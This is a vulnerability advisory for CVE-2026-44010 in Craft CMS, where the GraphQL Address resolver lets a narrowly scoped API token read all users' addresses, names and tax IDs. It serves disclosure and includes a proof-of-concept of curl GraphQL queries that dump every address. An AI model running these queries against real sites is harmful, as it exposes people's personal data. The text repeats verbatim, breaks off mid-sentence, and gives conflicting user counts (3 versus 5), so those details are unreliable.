CVE-2026-44010

Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.

Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to any user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

• Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
• 5 internal executives with corporate addresses (internalTeam)
• 3 public customers with personal addresses (publicUsers)
• GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" />

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" />

Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude.

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" />

Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" />

<img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" />

▎ "This token can only see 5 users, but…

Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.

Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to any user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

• Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
• 5 internal executives with corporate addresses (internalTeam)
• 3 public customers with personal addresses (publicUsers)
• GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" />

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" />

Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude.

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" />

Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" />

<img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" />

▎ "This token can only see 5 users, but…